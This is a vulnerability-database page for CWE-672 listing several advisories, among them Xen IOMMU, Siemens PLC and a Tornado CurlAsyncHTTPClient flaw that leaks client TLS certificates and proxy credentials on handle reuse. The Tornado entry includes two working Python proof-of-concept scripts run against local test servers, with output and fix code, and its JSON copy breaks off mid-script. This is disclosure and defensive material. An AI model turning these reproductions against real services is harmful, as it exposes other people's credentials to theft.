Common Weakness Enumeration

CWE-672

Allowed-with-Review

Operation on a Resource after Expiration or Release

Abstraction: Class · Status: Draft

The product uses, accesses, or otherwise operates on a resource after that resource has been expired, released, or revoked.

118 vulnerabilities reference this CWE, most recent first.

GHSA-MJVW-FRXX-6HM5

Vulnerability from github – Published: 2024-01-05 18:30 – Updated: 2025-11-04 21:30
VLAI
Details

The caching invalidation guidelines from the AMD-Vi specification (48882—Rev 3.07-PUB—Oct 2022) is incorrect on some hardware, as devices will malfunction (see stale DMA mappings) if some fields of the DTE are updated but the IOMMU TLB is not flushed.

Such stale DMA mappings can point to memory ranges not owned by the guest, thus allowing access to unindented memory regions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-34326"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-672"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-05T17:15:08Z",
    "severity": "HIGH"
  },
  "details": "The caching invalidation guidelines from the AMD-Vi specification (48882\u2014Rev\n3.07-PUB\u2014Oct 2022) is incorrect on some hardware, as devices will malfunction\n(see stale DMA mappings) if some fields of the DTE are updated but the IOMMU\nTLB is not flushed.\n\nSuch stale DMA mappings can point to memory ranges not owned by the guest, thus\nallowing access to unindented memory regions.",
  "id": "GHSA-mjvw-frxx-6hm5",
  "modified": "2025-11-04T21:30:54Z",
  "published": "2024-01-05T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34326"
    },
    {
      "type": "WEB",
      "url": "https://xenbits.xenproject.org/xsa/advisory-442.html"
    },
    {
      "type": "WEB",
      "url": "http://xenbits.xen.org/xsa/advisory-442.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MW3J-F4PG-723R

Vulnerability from github – Published: 2022-02-10 00:00 – Updated: 2022-03-17 00:05
VLAI
Details

A vulnerability has been identified in SIMATIC Drive Controller family (All versions < V2.9.4), SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (incl. SIPLUS variants) (All versions), SIMATIC S7-1200 CPU family (incl. SIPLUS variants) (All versions >= V4.5.0 < V4.5.2), SIMATIC S7-1500 CPU family (incl. related ET200 CPUs and SIPLUS variants) (All versions >= V2.9.2 < V2.9.4), SIMATIC S7-1500 Software Controller (All versions), SIMATIC S7-PLCSIM Advanced (All versions), TIM 1531 IRC (incl. SIPLUS NET variants) (All versions >= V2.2). An unauthenticated attacker could cause a denial-of-service condition in a PLC when sending specially prepared packet over port 102/tcp. A restart of the affected device is needed to restore normal operations.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-37204"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-672"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-09T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability has been identified in SIMATIC Drive Controller family (All versions \u003c V2.9.4), SIMATIC ET 200SP Open Controller CPU 1515SP PC2 (incl. SIPLUS variants) (All versions), SIMATIC S7-1200 CPU family (incl. SIPLUS variants) (All versions \u003e= V4.5.0 \u003c V4.5.2), SIMATIC S7-1500 CPU family (incl. related ET200 CPUs and SIPLUS variants) (All versions \u003e= V2.9.2 \u003c V2.9.4), SIMATIC S7-1500 Software Controller (All versions), SIMATIC S7-PLCSIM Advanced (All versions), TIM 1531 IRC (incl. SIPLUS NET variants) (All versions \u003e= V2.2). An unauthenticated attacker could cause a denial-of-service condition in a PLC when sending specially prepared packet over port 102/tcp. A restart of the affected device is needed to restore normal operations.",
  "id": "GHSA-mw3j-f4pg-723r",
  "modified": "2022-03-17T00:05:55Z",
  "published": "2022-02-10T00:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-37204"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/pdf/ssa-838121.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-PW6J-QG29-8W7F

Vulnerability from github – Published: 2026-06-15 20:37 – Updated: 2026-06-15 20:37
VLAI
Summary
Tornado: CurlAsyncHTTPClient leaks per-request credentials on handle reuse
Details

CurlAsyncHTTPClient leaks per-request credentials on handle reuse

Summary

CurlAsyncHTTPClient pools and reuses pycurl handles across requests but does not reset them between requests, and several per-request options are applied with no clearing branch. As a result, sensitive state set by one request persists onto a later request on the same client that does not set it. Two credential vectors are demonstrated below — a client TLS certificate (SSLCERT/SSLKEY) and proxy basic-auth credentials (PROXYUSERPWD) — both leaking to a different, unintended host. This affects all released versions through 6.5.6.

Details

In tornado/curl_httpclient.py, handles are created once and returned to a free list for reuse (_process_queue pops the handle at line 200, _finish re-appends it at line 245), and _curl_setup_request is never preceded by curl.reset(). The function clears some carried-over state on the reused handle — unsetopt(PROXYUSERPWD) in the no-proxy branch (line 394), unsetopt(USERPWD) when no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) — but other options have no equivalent clearing path and persist until a later request sets them again.

Vector A — client TLS certificate (SSLCERT/SSLKEY). Set-only, no clearing branch:

# tornado/curl_httpclient.py (v6.5.6), lines 498-502
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)

if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)

A request that sets client_cert leaves the certificate on the handle; a later request without client_cert presents it during its TLS handshake.

Vector B — proxy credentials (PROXYUSERPWD). PROXYUSERPWD is set only inside the credentials branch and unset only in the no-proxy else branch:

# tornado/curl_httpclient.py (v6.5.6), lines 371-394
if request.proxy_host and request.proxy_port:
    curl.setopt(pycurl.PROXY, request.proxy_host)
    curl.setopt(pycurl.PROXYPORT, request.proxy_port)
    if request.proxy_username:                 # only place PROXYUSERPWD is set
        ...
        curl.setopt(pycurl.PROXYUSERPWD, credentials)
    ...
else:
    try:
        curl.unsetopt(pycurl.PROXY)
    except TypeError:
        curl.setopt(pycurl.PROXY, "")
    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset

A request that sets a new proxy_host without proxy_username updates PROXY/PROXYPORT but never reaches the else, so the previous request's credentials persist and are sent to the new proxy.

The same class also affects INTERFACE (lines 365-366: set only when request.network_interface is truthy, with no clearing branch), which is a lower-severity instance — a later request can be bound to a network interface it did not request. A single fix addresses all three (see Mitigation).

PoC

Both reproduce against the pinned release using public API only (CurlAsyncHTTPClient, HTTPRequest, and the documented per-request arguments).

Vector A — client TLS certificate

The two servers listen on different ports, so request B opens a fresh TCP+TLS connection; the certificate can only reach server 2 via the persisted handle option, not connection or session reuse.

python3 -m venv venv
./venv/bin/pip install "tornado==6.5.6" pycurl cryptography
./venv/bin/python poc_client_cert.py
import asyncio
import datetime
import ipaddress
import os
import socket
import ssl
import sys
import tempfile
import threading

from cryptography import x509
from cryptography.x509.oid import NameOID, ExtendedKeyUsageOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


def _key():
    return rsa.generate_private_key(public_exponent=65537, key_size=2048)


def _ca():
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "PoC-CA")])
    now = datetime.datetime.now(datetime.timezone.utc)
    cert = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(name)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
        .sign(key, hashes.SHA256())
    )
    return cert, key


def _leaf(cn, ca_cert, ca_key, ips=None, client=False):
    key = _key()
    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])
    now = datetime.datetime.now(datetime.timezone.utc)
    b = (
        x509.CertificateBuilder()
        .subject_name(name).issuer_name(ca_cert.subject)
        .public_key(key.public_key())
        .serial_number(x509.random_serial_number())
        .not_valid_before(now - datetime.timedelta(minutes=1))
        .not_valid_after(now + datetime.timedelta(days=1))
        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
    )
    if ips:
        b = b.add_extension(
            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),
            critical=False,
        )
    if client:
        b = b.add_extension(
            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False
        )
    return b.sign(ca_key, hashes.SHA256()), key


def _pem(path, cert, key=None):
    with open(path, "wb") as fh:
        fh.write(cert.public_bytes(serialization.Encoding.PEM))
        if key is not None:
            fh.write(key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))


class TLSServer:
    def __init__(self, srv_pem, ca_pem, require):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
        self.ctx.load_cert_chain(srv_pem)
        self.ctx.load_verify_locations(ca_pem)
        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                s = self.ctx.wrap_socket(conn, server_side=True)
                self.captures.append(s.getpeercert() or None)
                try:
                    s.recv(4096)
                    s.sendall(b"HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nok")
                except Exception:
                    pass
                s.close()
            except Exception:
                self.captures.append("handshake-failed")
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def _cn(peer):
    if not peer or not isinstance(peer, dict):
        return None
    for rdn in peer.get("subject", ()):
        for k, v in rdn:
            if k == "commonName":
                return v
    return None


async def main():
    with tempfile.TemporaryDirectory() as tmp:
        ca_cert, ca_key = _ca()
        s1_cert, s1_key = _leaf("server1.local", ca_cert, ca_key, ips=["127.0.0.1"])
        s2_cert, s2_key = _leaf("server2.local", ca_cert, ca_key, ips=["127.0.0.1"])
        cli_cert, cli_key = _leaf("trusted-client", ca_cert, ca_key, client=True)

        ca_pem = os.path.join(tmp, "ca.pem")
        s1_pem = os.path.join(tmp, "s1.pem")
        s2_pem = os.path.join(tmp, "s2.pem")
        cert_pem = os.path.join(tmp, "client.crt")
        key_pem = os.path.join(tmp, "client.key")
        _pem(ca_pem, ca_cert)
        _pem(s1_pem, s1_cert, s1_key)
        _pem(s2_pem, s2_cert, s2_key)
        _pem(cert_pem, cli_cert)
        with open(key_pem, "wb") as fh:
            fh.write(cli_key.private_bytes(
                serialization.Encoding.PEM,
                serialization.PrivateFormat.TraditionalOpenSSL,
                serialization.NoEncryption(),
            ))

        s1 = TLSServer(s1_pem, ca_pem, require=True)
        s2 = TLSServer(s2_pem, ca_pem, require=False)
        try:
            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await clean.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/baseline",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            clean.close()

            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s1.port}/internal-mtls",
                client_cert=cert_pem, client_key=key_pem,
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await client.fetch(HTTPRequest(
                f"https://127.0.0.1:{s2.port}/other-host",
                ca_certs=ca_pem, request_timeout=5), raise_error=False)
            await asyncio.sleep(0.2)
            client.close()
        finally:
            s1.stop()
            s2.stop()

        baseline = _cn(s2.captures[0]) if s2.captures else None
        leaked = _cn(s2.captures[1]) if len(s2.captures) > 1 else None

        print(f"{'scenario':<48}{'cert presented to server 2'}")
        print(f"{'-' * 48}{'-' * 28}")
        print(f"{'baseline: clean client, no client_cert':<48}{baseline!r}")
        print(f"{'exploit: reused handle (A had client_cert)':<48}{leaked!r}")
        print()
        print(f"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}")
        print()
        if baseline is None and leaked == "trusted-client":
            print("VERDICT: VULNERABLE — the client certificate from request A was "
                  "presented to server 2 on request B, which specified none.")
            return 0
        print(f"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})")
        return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (pip show tornado → 6.5.6, installed in the venv):

scenario                                        cert presented to server 2
----------------------------------------------------------------------------
baseline: clean client, no client_cert          None
exploit: reused handle (A had client_cert)      'trusted-client'

(sanity) server 1 (mTLS required) saw: 'trusted-client'

VERDICT: VULNERABLE — the client certificate from request A was presented to
server 2 on request B, which specified none.

Vector B — proxy credentials

Each proxy is a separate listener capturing the raw request bytes.

./venv/bin/python poc_proxy_creds.py
import asyncio
import base64
import socket
import sys
import threading

from tornado.httpclient import HTTPRequest
from tornado.curl_httpclient import CurlAsyncHTTPClient


class CapturingProxy:
    def __init__(self):
        self.captures = []
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.sock.bind(("127.0.0.1", 0))
        self.sock.listen(4)
        self.port = self.sock.getsockname()[1]
        threading.Thread(target=self._serve, daemon=True).start()

    def _serve(self):
        while True:
            try:
                conn, _ = self.sock.accept()
            except OSError:
                return
            try:
                data = b""
                while b"\r\n\r\n" not in data and len(data) < 8192:
                    chunk = conn.recv(2048)
                    if not chunk:
                        break
                    data += chunk
                self.captures.append(data)
                conn.sendall(b"HTTP/1.1 502 Bad Gateway\r\nContent-Length: 0\r\n"
                             b"Connection: close\r\n\r\n")
            except Exception:
                pass
            finally:
                conn.close()

    def stop(self):
        try:
            self.sock.close()
        except Exception:
            pass


def proxy_authz(raw):
    head = raw.split(b"\r\n\r\n", 1)[0].decode("latin1", "replace")
    for line in head.split("\r\n"):
        if line.lower().startswith("proxy-authorization:"):
            return line
    return None


async def main():
    proxy_a = CapturingProxy()
    proxy_b = CapturingProxy()
    try:
        client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)
        await client.fetch(HTTPRequest(
            "http://target.example/a",
            proxy_host="127.0.0.1", proxy_port=proxy_a.port,
            proxy_username="alice", proxy_password="secretA",
            request_timeout=5, connect_timeout=5), raise_error=False)
        await client.fetch(HTTPRequest(
            "http://target.example/b",
            proxy_host="127.0.0.1", proxy_port=proxy_b.port,
            request_timeout=5, connect_timeout=5), raise_error=False)
        await asyncio.sleep(0.2)
        client.close()
    finally:
        proxy_a.stop()
        proxy_b.stop()

    a = proxy_authz(proxy_a.captures[0]) if proxy_a.captures else None
    b = proxy_authz(proxy_b.captures[0]) if proxy_b.captures else None
    expected = "Basic " + base64.b64encode(b"alice:secretA").decode()

    print(f"{'request':<42}{'Proxy-Authorization seen by that proxy'}")
    print(f"{'-' * 42}{'-' * 40}")
    print(f"{'A -> proxy A (alice:secretA specified)':<42}{a or '(none)'}")
    print(f"{'B -> proxy B (NO credentials specified)':<42}{b or '(none)'}")
    print()
    if b and expected in b:
        print(f"VERDICT: VULNERABLE — proxy B received alice's credentials "
              f"({expected}) although request B specified no proxy_username.")
        return 0
    print(f"VERDICT: not reproduced (proxy B saw: {b!r})")
    return 2


if __name__ == "__main__":
    sys.exit(asyncio.run(main()))

Output (YWxpY2U6c2VjcmV0QQ== decodes to alice:secretA):

request                                   Proxy-Authorization seen by that proxy
----------------------------------------------------------------------------------
A -> proxy A (alice:secretA specified)    Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==
B -> proxy B (NO credentials specified)   Proxy-Authorization: Basic YWxpY2U6c2VjcmV0QQ==

VERDICT: VULNERABLE — proxy B received alice's credentials (Basic
YWxpY2U6c2VjcmV0QQ==) although request B specified no proxy_username.

Impact

  • Type: Exposure of credentials to an unintended party (CWE-200), via reuse of a resource whose sensitive state was not cleared (CWE-672).
  • Actors: An application that issues requests with differing per-request options on a shared CurlAsyncHTTPClient — for Vector A, mixing per-request client_cert requests with non-certificate requests; for Vector B, multiplexing requests across more than one proxy with per-proxy credentials.
  • Effect: For Vector A, the client completes the TLS client-authentication handshake — proving possession of the private key and disclosing the certificate subject and chain — to a host that was never meant to receive it. For Vector B, proxy basic-auth credentials are transmitted (base64) to a different proxy. If the unintended host/proxy is attacker-controlled or attacker-influenced (a user-supplied URL, webhook target, SSRF-reachable endpoint, or a proxy chosen from user-controlled configuration), the credential is disclosed to the attacker.
  • Scope: Only applications using the optional CurlAsyncHTTPClient backend with the patterns above are affected. The default SimpleAsyncHTTPClient is not affected (and does not support proxies).

Proposed CWE: CWE-200 / CWE-672. Proposed CVSS 3.1: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N (5.9, medium); attack complexity is High because exploitation depends on the application using differing per-request options on a shared client and on handle scheduling.

Mitigation

A single fix closes all instances of this class: call curl.reset() at the start of _curl_setup_request and then re-apply the per-request options, so no state from a prior request can persist on the reused handle. (Note curl.reset() also clears CAINFO, which the current code intentionally leaves untouched — see the comment at lines 401-409 — so that default would need to be re-established after the reset.)

Alternatively, add explicit clearing branches mirroring the existing PROXYUSERPWD/USERPWD handling:

# client certificate
if request.client_cert is not None:
    curl.setopt(pycurl.SSLCERT, request.client_cert)
else:
    curl.unsetopt(pycurl.SSLCERT)
if request.client_key is not None:
    curl.setopt(pycurl.SSLKEY, request.client_key)
else:
    curl.unsetopt(pycurl.SSLKEY)

# proxy credentials (inside the `if request.proxy_host and request.proxy_port:` branch)
if request.proxy_username:
    ...
    curl.setopt(pycurl.PROXYUSERPWD, credentials)
else:
    curl.unsetopt(pycurl.PROXYUSERPWD)

# network interface
if request.network_interface:
    curl.setopt(pycurl.INTERFACE, request.network_interface)
else:
    curl.unsetopt(pycurl.INTERFACE)

Until a fix is available, use a separate CurlAsyncHTTPClient instance per distinct credential set (per client certificate / per proxy credential), or use SimpleAsyncHTTPClient where applicable.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 6.5.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "tornado"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-672"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-15T20:37:24Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# CurlAsyncHTTPClient leaks per-request credentials on handle reuse\n\n## Summary\n\n`CurlAsyncHTTPClient` pools and reuses `pycurl` handles across requests but does\nnot reset them between requests, and several per-request options are applied with\nno clearing branch. As a result, sensitive state set by one request persists onto\na later request on the same client that does not set it. Two credential vectors\nare demonstrated below \u2014 a client TLS certificate (`SSLCERT`/`SSLKEY`) and proxy\nbasic-auth credentials (`PROXYUSERPWD`) \u2014 both leaking to a different,\nunintended host. This affects all released versions through 6.5.6.\n\n## Details\n\nIn `tornado/curl_httpclient.py`, handles are created once and returned to a free\nlist for reuse (`_process_queue` pops the handle at line 200, `_finish`\nre-appends it at line 245), and `_curl_setup_request` is never preceded by\n`curl.reset()`. The function clears *some* carried-over state on the reused handle\n\u2014 `unsetopt(PROXYUSERPWD)` in the no-proxy branch (line 394), `unsetopt(USERPWD)`\nwhen no auth is set (line 495), and the HTTP-method flag reset (lines 428-432) \u2014\nbut other options have no equivalent clearing path and persist until a later\nrequest sets them again.\n\n**Vector A \u2014 client TLS certificate (`SSLCERT`/`SSLKEY`).** Set-only, no clearing\nbranch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 498-502\nif request.client_cert is not None:\n    curl.setopt(pycurl.SSLCERT, request.client_cert)\n\nif request.client_key is not None:\n    curl.setopt(pycurl.SSLKEY, request.client_key)\n```\n\nA request that sets `client_cert` leaves the certificate on the handle; a later\nrequest without `client_cert` presents it during its TLS handshake.\n\n**Vector B \u2014 proxy credentials (`PROXYUSERPWD`).** `PROXYUSERPWD` is set only\ninside the credentials branch and unset only in the no-proxy `else` branch:\n\n```python\n# tornado/curl_httpclient.py (v6.5.6), lines 371-394\nif request.proxy_host and request.proxy_port:\n    curl.setopt(pycurl.PROXY, request.proxy_host)\n    curl.setopt(pycurl.PROXYPORT, request.proxy_port)\n    if request.proxy_username:                 # only place PROXYUSERPWD is set\n        ...\n        curl.setopt(pycurl.PROXYUSERPWD, credentials)\n    ...\nelse:\n    try:\n        curl.unsetopt(pycurl.PROXY)\n    except TypeError:\n        curl.setopt(pycurl.PROXY, \"\")\n    curl.unsetopt(pycurl.PROXYUSERPWD)         # only place it is unset\n```\n\nA request that sets a *new* `proxy_host` without `proxy_username` updates\n`PROXY`/`PROXYPORT` but never reaches the `else`, so the previous request\u0027s\ncredentials persist and are sent to the new proxy.\n\nThe same class also affects `INTERFACE` (lines 365-366: set only when\n`request.network_interface` is truthy, with no clearing branch), which is a\nlower-severity instance \u2014 a later request can be bound to a network interface it\ndid not request. A single fix addresses all three (see Mitigation).\n\n## PoC\n\nBoth reproduce against the pinned release using public API only\n(`CurlAsyncHTTPClient`, `HTTPRequest`, and the documented per-request arguments).\n\n### Vector A \u2014 client TLS certificate\n\nThe two servers listen on different ports, so request B opens a fresh TCP+TLS\nconnection; the certificate can only reach server 2 via the persisted handle\noption, not connection or session reuse.\n\n```\npython3 -m venv venv\n./venv/bin/pip install \"tornado==6.5.6\" pycurl cryptography\n./venv/bin/python poc_client_cert.py\n```\n\n```python\nimport asyncio\nimport datetime\nimport ipaddress\nimport os\nimport socket\nimport ssl\nimport sys\nimport tempfile\nimport threading\n\nfrom cryptography import x509\nfrom cryptography.x509.oid import NameOID, ExtendedKeyUsageOID\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\ndef _key():\n    return rsa.generate_private_key(public_exponent=65537, key_size=2048)\n\n\ndef _ca():\n    key = _key()\n    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"PoC-CA\")])\n    now = datetime.datetime.now(datetime.timezone.utc)\n    cert = (\n        x509.CertificateBuilder()\n        .subject_name(name).issuer_name(name)\n        .public_key(key.public_key())\n        .serial_number(x509.random_serial_number())\n        .not_valid_before(now - datetime.timedelta(minutes=1))\n        .not_valid_after(now + datetime.timedelta(days=1))\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)\n        .sign(key, hashes.SHA256())\n    )\n    return cert, key\n\n\ndef _leaf(cn, ca_cert, ca_key, ips=None, client=False):\n    key = _key()\n    name = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, cn)])\n    now = datetime.datetime.now(datetime.timezone.utc)\n    b = (\n        x509.CertificateBuilder()\n        .subject_name(name).issuer_name(ca_cert.subject)\n        .public_key(key.public_key())\n        .serial_number(x509.random_serial_number())\n        .not_valid_before(now - datetime.timedelta(minutes=1))\n        .not_valid_after(now + datetime.timedelta(days=1))\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)\n    )\n    if ips:\n        b = b.add_extension(\n            x509.SubjectAlternativeName([x509.IPAddress(ipaddress.ip_address(i)) for i in ips]),\n            critical=False,\n        )\n    if client:\n        b = b.add_extension(\n            x509.ExtendedKeyUsage([ExtendedKeyUsageOID.CLIENT_AUTH]), critical=False\n        )\n    return b.sign(ca_key, hashes.SHA256()), key\n\n\ndef _pem(path, cert, key=None):\n    with open(path, \"wb\") as fh:\n        fh.write(cert.public_bytes(serialization.Encoding.PEM))\n        if key is not None:\n            fh.write(key.private_bytes(\n                serialization.Encoding.PEM,\n                serialization.PrivateFormat.TraditionalOpenSSL,\n                serialization.NoEncryption(),\n            ))\n\n\nclass TLSServer:\n    def __init__(self, srv_pem, ca_pem, require):\n        self.captures = []\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n        self.sock.bind((\"127.0.0.1\", 0))\n        self.sock.listen(4)\n        self.port = self.sock.getsockname()[1]\n        self.ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)\n        self.ctx.load_cert_chain(srv_pem)\n        self.ctx.load_verify_locations(ca_pem)\n        self.ctx.verify_mode = ssl.CERT_REQUIRED if require else ssl.CERT_OPTIONAL\n        threading.Thread(target=self._serve, daemon=True).start()\n\n    def _serve(self):\n        while True:\n            try:\n                conn, _ = self.sock.accept()\n            except OSError:\n                return\n            try:\n                s = self.ctx.wrap_socket(conn, server_side=True)\n                self.captures.append(s.getpeercert() or None)\n                try:\n                    s.recv(4096)\n                    s.sendall(b\"HTTP/1.1 200 OK\\r\\nContent-Length: 2\\r\\nConnection: close\\r\\n\\r\\nok\")\n                except Exception:\n                    pass\n                s.close()\n            except Exception:\n                self.captures.append(\"handshake-failed\")\n                conn.close()\n\n    def stop(self):\n        try:\n            self.sock.close()\n        except Exception:\n            pass\n\n\ndef _cn(peer):\n    if not peer or not isinstance(peer, dict):\n        return None\n    for rdn in peer.get(\"subject\", ()):\n        for k, v in rdn:\n            if k == \"commonName\":\n                return v\n    return None\n\n\nasync def main():\n    with tempfile.TemporaryDirectory() as tmp:\n        ca_cert, ca_key = _ca()\n        s1_cert, s1_key = _leaf(\"server1.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n        s2_cert, s2_key = _leaf(\"server2.local\", ca_cert, ca_key, ips=[\"127.0.0.1\"])\n        cli_cert, cli_key = _leaf(\"trusted-client\", ca_cert, ca_key, client=True)\n\n        ca_pem = os.path.join(tmp, \"ca.pem\")\n        s1_pem = os.path.join(tmp, \"s1.pem\")\n        s2_pem = os.path.join(tmp, \"s2.pem\")\n        cert_pem = os.path.join(tmp, \"client.crt\")\n        key_pem = os.path.join(tmp, \"client.key\")\n        _pem(ca_pem, ca_cert)\n        _pem(s1_pem, s1_cert, s1_key)\n        _pem(s2_pem, s2_cert, s2_key)\n        _pem(cert_pem, cli_cert)\n        with open(key_pem, \"wb\") as fh:\n            fh.write(cli_key.private_bytes(\n                serialization.Encoding.PEM,\n                serialization.PrivateFormat.TraditionalOpenSSL,\n                serialization.NoEncryption(),\n            ))\n\n        s1 = TLSServer(s1_pem, ca_pem, require=True)\n        s2 = TLSServer(s2_pem, ca_pem, require=False)\n        try:\n            clean = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n            await clean.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s2.port}/baseline\",\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            clean.close()\n\n            client = CurlAsyncHTTPClient(max_clients=1, force_instance=True)\n            await client.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s1.port}/internal-mtls\",\n                client_cert=cert_pem, client_key=key_pem,\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            await client.fetch(HTTPRequest(\n                f\"https://127.0.0.1:{s2.port}/other-host\",\n                ca_certs=ca_pem, request_timeout=5), raise_error=False)\n            await asyncio.sleep(0.2)\n            client.close()\n        finally:\n            s1.stop()\n            s2.stop()\n\n        baseline = _cn(s2.captures[0]) if s2.captures else None\n        leaked = _cn(s2.captures[1]) if len(s2.captures) \u003e 1 else None\n\n        print(f\"{\u0027scenario\u0027:\u003c48}{\u0027cert presented to server 2\u0027}\")\n        print(f\"{\u0027-\u0027 * 48}{\u0027-\u0027 * 28}\")\n        print(f\"{\u0027baseline: clean client, no client_cert\u0027:\u003c48}{baseline!r}\")\n        print(f\"{\u0027exploit: reused handle (A had client_cert)\u0027:\u003c48}{leaked!r}\")\n        print()\n        print(f\"(sanity) server 1 (mTLS required) saw: {_cn(s1.captures[0]) if s1.captures else None!r}\")\n        print()\n        if baseline is None and leaked == \"trusted-client\":\n            print(\"VERDICT: VULNERABLE \u2014 the client certificate from request A was \"\n                  \"presented to server 2 on request B, which specified none.\")\n            return 0\n        print(f\"VERDICT: not reproduced (baseline={baseline!r} leaked={leaked!r})\")\n        return 2\n\n\nif __name__ == \"__main__\":\n    sys.exit(asyncio.run(main()))\n```\n\nOutput (`pip show tornado` \u2192 6.5.6, installed in the venv):\n\n```\nscenario                                        cert presented to server 2\n----------------------------------------------------------------------------\nbaseline: clean client, no client_cert          None\nexploit: reused handle (A had client_cert)      \u0027trusted-client\u0027\n\n(sanity) server 1 (mTLS required) saw: \u0027trusted-client\u0027\n\nVERDICT: VULNERABLE \u2014 the client certificate from request A was presented to\nserver 2 on request B, which specified none.\n```\n\n### Vector B \u2014 proxy credentials\n\nEach proxy is a separate listener capturing the raw request bytes.\n\n```\n./venv/bin/python poc_proxy_creds.py\n```\n\n```python\nimport asyncio\nimport base64\nimport socket\nimport sys\nimport threading\n\nfrom tornado.httpclient import HTTPRequest\nfrom tornado.curl_httpclient import CurlAsyncHTTPClient\n\n\nclass CapturingProxy:\n    def __init__(self):\n        self.captures = []\n        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n        self.sock.setsockopt(socket.SOL_SOCKET, 